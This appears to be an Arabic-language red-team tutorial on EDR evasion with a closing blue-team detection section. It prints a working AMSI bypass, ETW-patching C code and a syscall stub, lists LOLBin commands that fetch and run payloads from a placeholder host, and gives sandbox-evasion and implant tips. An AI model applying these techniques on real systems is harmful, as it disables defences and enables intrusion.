Defense Evasion — EDR Bypass اللي محدش بيقولك
AMSI و ETW و Syscalls و Packers — تعدي من غير ما تحس بيك
القط والفار — مين بيلاحق مين؟
- طب يا حضرتك إحنا عندنا EDR بـ مليون دولار، ده بيقفل كل حاجة!
متوقّع كالعادة يا مستجد. لو AV التقليدي مات، ليه لسه الناس بيعتمدوا على signatures؟ ليه لسه عندنا "تحديث الـ definitions"؟ الـ vendor بيبيع لك راحة بال، مش حماية. الفرق كبير.
طبقات الكشف اللي لازم تتجاوزها
- Static AV — توقيعات الملف.
- AMSI — يفحص النصوص قبل تنفيذها (PowerShell, JS, VBA).
- ETW — مصدر تليمتري لـ EDR.
- User-mode hooks داخل ntdll.dll.
- Kernel callbacks (PsSetCreateProcessNotifyRoutine).
- Behavioral / ML في السحابة.
AMSI Bypass — أساسيات
AMSI = Antimalware Scan Interface. يتعرّض الـ PowerShell payload له قبل التنفيذ. الفكرة: إفساد العلم (amsiInitFailed) أو تصحيح الذاكرة.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)الأساليب الحديثة:
- Hardware Breakpoints على AmsiScanBuffer.
- Patch in memory — VirtualProtect → mov eax, 0x80070057 ; ret.
- Reflection + obfuscation ديناميكي للسلاسل.
ETW Patching — تعمية المراقبة
الـ EDR يقرأ من ETW providers. تعطيل EtwEventWrite داخل العملية يقطع التليمتري عنها فقط (لا عن النظام).
DWORD oldProt;
void* p = GetProcAddress(GetModuleHandleA("ntdll"), "EtwEventWrite");
VirtualProtect(p, 1, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)p = 0xC3; // ret
VirtualProtect(p, 1, oldProt, &oldProt);Unhooking — استرجاع ntdll نظيف
الـ EDR يضع jmp في بداية دوال ntdll. نعيد قراءة ntdll.dll من القرص و نستبدل قسم .text في الذاكرة.
Direct & Indirect Syscalls
بدلاً من استدعاء NtAllocateVirtualMemory من ntdll (المهوكة)، ننفّذ syscall مباشرة.
- SysWhispers3 / Hell's Gate / Halo's Gate / Tartarus Gate.
- Indirect syscall أصعب اكتشافاً (يحافظ على شكل call stack).
Nt$Func PROC
mov r10, rcx
mov eax, SSN
syscall
ret
Nt$Func ENDPProcess Injection — الكلاسيكيات الحديثة
- Process Hollowing — تشغيل عملية شرعية ثم استبدال محتواها.
- Module Stomping — تحميل DLL شرعي ثم الكتابة فوقه.
- Early Bird APC — حقن قبل بدء التنفيذ الفعلي.
- Thread Pool Injection (PoolParty) — يتجاوز معظم الـ EDRs حالياً.
- Indirect Dynamic Call + stack spoofing.
Payload Obfuscation و التشفير
- Donut — حوّل PE/DLL/.NET إلى shellcode مشفّر.
- Sliver / Havoc — توليد implants مع sleep obfuscation (Ekko, Foliage).
- Nimcrypt2 / PEzor / Freeze.
- Sleep masking — تشفير الذاكرة أثناء الـ sleep ليتجنب memory scanners.
- Stack Spoofing — تزييف call stack ليبدو كأن النداء جاء من مكان شرعي.
Living-off-the-Land (LOLBins)
استخدام أدوات Microsoft الموقّعة لتنفيذ كود — يمر دون توقيع خبيث:
rundll32.exe shell32.dll,Control_RunDLL evil.cpl
regsvr32 /s /u /n /i:http://a/b.sct scrobj.dll
certutil -urlcache -split -f http://a/x.exe x.exe
bitsadmin /transfer j http://a/x.exe %temp%\x.exe
InstallUtil.exe /logfile= /LogToConsole=false /U evil.exe
wmic process call create "powershell -enc ..."قائمة مرجعية: lolbas-project.github.io.
Sandbox & VM Evasion
- التحقق من عدد المعالجات و الذاكرة (≤2 cores, <4GB RAM = sandbox محتمل).
- قياس وقت Sleep (sandbox غالباً يقفز فوقه).
- وجود VBoxService.exe / vmtoolsd.exe / artifacts.
- تحرّك الفأرة و سجل الـ recent docs.
- Domain check — لا تنفّذ إلا داخل دومين الضحية.
الحماية — إزاي الـ Blue Team بيكشف ده كله
- Sysmon + قواعد SwiftOnSecurity / Olaf Hartong.
- ETW-TI (Threat Intelligence provider) لرصد syscalls مباشرة.
- Memory scanning دوري بـ Moneta / pe-sieve / Hollows Hunter.
- قواعد YARA على الذاكرة لـ CobaltStrike beacons, Sliver, Mythic.
- كشف unbacked memory (RWX, no module) = إنذار.
- منع child processes غير المعتادة من Office عبر ASR rules.
- تطبيق WDAC / AppLocker في وضع enforced.
- Credential Guard, HVCI.
غلطات الـ junior في الـ red team side
- تجرّب payload على VirusTotal. VT بيوزّع الـ samples للـ AV vendors. انت كده حرقت الـ implant بنفسك.
- تستخدم default Cobalt Strike profile. كل blue team في العالم بيـ block JA3 hash بتاعه.
- تنسى تـ obfuscate الـ C2 sleep timing. الـ network detection بتلاقط الـ regular beaconing من بعيد.
- تستخدم AMSI bypass من 2018. الـ string-based detection لاقطه قبل ما الـ payload يشتغل.
الخلاصة الناشفة
الـ evasion مش حركة واحدة. ده تركيب من 10+ تقنية شغّالة في نفس الوقت: AMSI bypass + ETW patch + indirect syscalls + sleep masking + stack spoofing + LOLBAS + domain check.
اللي بيكسر واحد فيهم بيكسر الكل. ولو واحد منهم سقط، الـ chain كلها سقطت.
للمدافع: ما تستثمرش في tool واحد. استثمر في visibility. كل ما الـ data أكتر، كل ما الـ adversary بيلاقي صعوبة يخفي. الـ logs اللي ما بتجمعهاش = هدية للـ adversary.